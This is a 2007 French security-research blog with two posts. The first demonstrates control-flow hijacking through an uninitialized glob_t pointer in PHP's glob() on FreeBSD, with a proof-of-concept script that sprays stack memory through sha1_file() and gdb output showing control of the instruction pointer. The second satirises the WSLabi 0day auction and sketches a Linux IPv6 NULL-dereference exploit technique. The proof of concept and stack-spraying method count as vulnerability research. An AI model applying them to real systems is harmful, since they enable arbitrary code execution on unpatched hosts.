Friday, July 27, 2007

Aujourd'hui, le balancement de pointeur...

Messieurs dames,

Le programme de la blackhat[1] vient d'être laché dans la jungle. Au programme, du réréréchauffé bien sûr, du *yeah* j'ai trouvé un remote root dans puffy... et les DANGLING POINTERS de monsieur Jonathan Afek.

Ça fait classouille devant les gonzes de parler de dangling pointers mais c'est quoi? Bein c'est tout simplement un pointeur non-initialisé ou "plus valide" (ej. après un free)... je pense qu'il peut remballer ces expressions barbares le monsieur.

Qu'est-ce qu'il va présenter sur ces pointeurs un peu trop poilus?

Until now there was no publicly known remote exploitation of this type of bug. Watchfire security researchers discovered a practical method of exploiting this issue and will demonstrate for the first time an example exploitation that involves a remote command execution vulnerability.


NON D'UNE PIPE EN BOIS.

Bon OK, il va peut-être montrer un truc de ouf qui fasse hisser les tétons, mais de là à dire qu'aucune exploitation à distance de ce type de bug n'a jamais été publiée... humhum j'en doute. À mon souvenir j'ai déjà vu des barbus (FLAKE FLOCK et non mercy) parler de "HEAP/STACK/ZIZI spraying" et d'"Exploiting Uninitialized variables" et des exploits ont été publiés, sisi... quoi tu me crois pas? Bon OK, on va prendre une vuln. au pif... ou pas... ET PAN. :)

PHP Glob() Function Arbitrary Code Execution Vulnerability.

Tadam, explications.

Le glob() de PHP n'est qu'un wrapper à son homologue de la libc qui prend en argument une structure glob_t qui contient des pointeurs sur fonctions qui seront appelées si on passe le flag GLOB_ALTDIRFUNC à la fonction. Or PHP n'initialise pas sa structure glob_t qu'il déclare sur la pile et ne vérifie pas l'argument $flags que l'on passe à glob() donc...

(clem1@pouik:~/vulndev/php/glob)$ cat bookak.php
<?php glob("coincoin", 64); ?>
(clem1@pouik:~/vulndev/php/glob)$ php bookak.php
Segmentation fault: 11 (core dumped)


(64 == GLOB_ALTDIRFUNC sur FreeBSD)

(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
(...)
#0 0xbfbfe76d in ?? ()
(gdb) print globbuf
$1 = {gl_pathc = 140, gl_matchc = 0, gl_offs = 0, gl_flags = -1073742081, gl_pathv = 0x7263696d,
gl_errfunc = 0, gl_closedir = 0x65, gl_readdir = 0xbfbfe770, gl_opendir = 0x8c,
gl_lstat = 0xbfbfe76c, gl_stat = 0x2}


OK, la structure globbuf (glob_t) n'est effectivement pas initialisée et quand on passe le flag magic, la fonction glob() de la libc tente d'appeler la fonction gl_lstat référencer dans la structure par un pointeur.

Bon maintenant, il faut réussir à faire quelques choses avec ce pointeur...

Première solution, on regarde où il pointe et on essaie de claquer quelques choses de bien à cette adresse. Pour cela soit on le fait à la belge et on claque pleins de trucs à la con avant notre glob() soit on regarde d'où vient cette adresse^Woctets posés sur la stack en analysant le flot d'exécution du programme. C'est un peu chiant mais j'ai réussi à avoir un exploit reliable (il est pas mal ce mot aussi) pour FreeBSD et php5, non vous ne l'aurait pas.

Deuxième solution, c'est la plus simple, on va éjaculer du pointeur poilu sur la pile, pour cela on regarde dans les sources de PHP si on a pas de fonctions qui font des fread ou autres sur un char buffer[] énorme et il y en a pas mal... sha1_file(), readfile()... On crée alors notre fichier qui va contenir pleins de fois l'adresse qu'on veut voir dans gl_lstat, on appelle sha1_file() sur ce fichier et on appelle notre 3v1l glob()... et paf... cacahuètes. Démonstration les amis...

(clem1@pouik:~/vulndev/php/glob)$ cat cacahuete.php
<?php
$ret = "\xDE\xDE\xDA\xDA";
$buf = str_repeat($ret, 8000);
$foo = fopen("owned", "w");
fwrite($foo, $buf);
fclose($foo);
sha1_file("owned");
unlink("owned");
glob("TU SENS LA MOULE", 64);
?>
(clem1@pouik:~/vulndev/php/glob)$ php cacahuete.php
Segmentation fault: 11 (core dumped)
(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php
GNU gdb 6.1.1 [FreeBSD]
(...)
#0 0xdadadede in ?? ()



PINCE À TÉTONS #@!#@! et ça works même avec le patch qui sens le sushi pas frais du php-security-man.

Bon OK, c'était pas vraiment à distance mais c'est presque pareil.

Rendez-vous après la mise en ligne de la présentation. ;-)



[1] ah bon? y'a des gens en costard à la blackhat? gni?

Labels:

Saturday, July 07, 2007

Pour deux 0days achetés, le troisième est offert!

500euros le 0day! MADAMOISELLE! Achetez mon 0day!$!#@$

On en rêvait, wslabi l'a fait... iDefense, ZDI, DigitalCaca ne veullent pas de ton 0day qui défonce l'anus, pas grave, tu peux maintenant le vendre aux enchères à une personne inconnue à travers le MarkerPlace des wabiwabi. Tu peux même revendre des exploits moisis qui tournent sur IRC depuis au moins un an qui exploitent des failles qui ont été fixées dans la silence (cf. l'exploit local dans la pile IPv6) ou même des exploits pour des injections SQL dans des scripts-php-ou-plugin-de-la-mort.

Pour l'instant, il y 4 offres...

- Un exploit pour un déférencement de pointeur NULL dans la pile IPv6 du kernel Linux. Je l'avais trouvé lors de mon Summer Of Code et un singe de l'espace l'avait exploité en deux minutes pour dumper toute la mémoire de la quenouille... un mmap() à NULL avec une ev1l structure, un getsockopt() qui va bien et pouf, chocapic. Il est à 600euros là, ouch.

- Une faille dans le plugin GPG de squirrelwebmail avec un *PROOF DE CONCEPT*. Rien qu'avec le titre et la description de la vulnérabilité, ça doit prendre 2 secondes de la retrouver et de l'exploiter. *supaire* 600euros aussi pour le bouzain.

(10:53)(clem1@pouik:~/vulndev/gpg)$ grep exec\( *.php | wc -l
20

- Y'a aussi une injection SQL (woodoo) dans un script PHP poilu et un remote buffer overflow dans Yahoo Messenger qui nécessite l'aide de l'utilisateur (pas un problème c'est tous des cons). Est-ce que Yahoo va débourser la somme de 2000euros pour chopper l'exploit?

Pourquoi ils font ça ? Parce que:

“ WSLabi plans to verify the identities and claims of both the buyer and seller. ”

AH LES PTITS MALINS !#@§

Un peu de lecture pour le week end: http://weis2007.econinfosec.org/papers/29.pdf.

Bon allé, je m'en vais vendre mes exploits pour Supra-Caca-PHP-Beta,
Bonne année,

Labels: